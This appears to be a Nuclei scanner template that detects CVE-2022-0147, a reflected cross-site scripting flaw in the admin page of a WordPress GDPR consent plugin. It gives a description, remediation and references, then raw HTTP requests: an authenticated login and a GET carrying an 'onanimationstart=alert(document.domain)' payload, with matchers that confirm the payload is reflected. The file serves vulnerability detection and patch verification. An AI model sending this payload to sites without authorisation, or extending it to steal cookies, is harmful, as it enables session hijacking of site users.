WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting

id: CVE-2022-0147

info:
  name: WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting
  author: 8arthur
  severity: medium
  description: |
    WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Cookie Information/Free GDPR Consent Solution plugin (2.0.8 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/2c735365-69c0-4652-b48e-c4a192dfe0d1
    - https://wordpress.org/plugins/wp-gdpr-compliance/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0147
    - https://plugins.trac.wordpress.org/changeset/2681371
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0147
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41295
    cpe: cpe:2.3:a:cookieinformation:wp-gdpr-compliance:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cookieinformation
    product: wp-gdpr-compliance
    framework: wordpress
  tags: cve2022,cve,wordpress,xss,wp,authenticated,wp-plugin,wp-gdpr-compliance,wpscan,cookieinformation

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x  HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'"
          - "toplevel_page_wp-gdpr-compliance"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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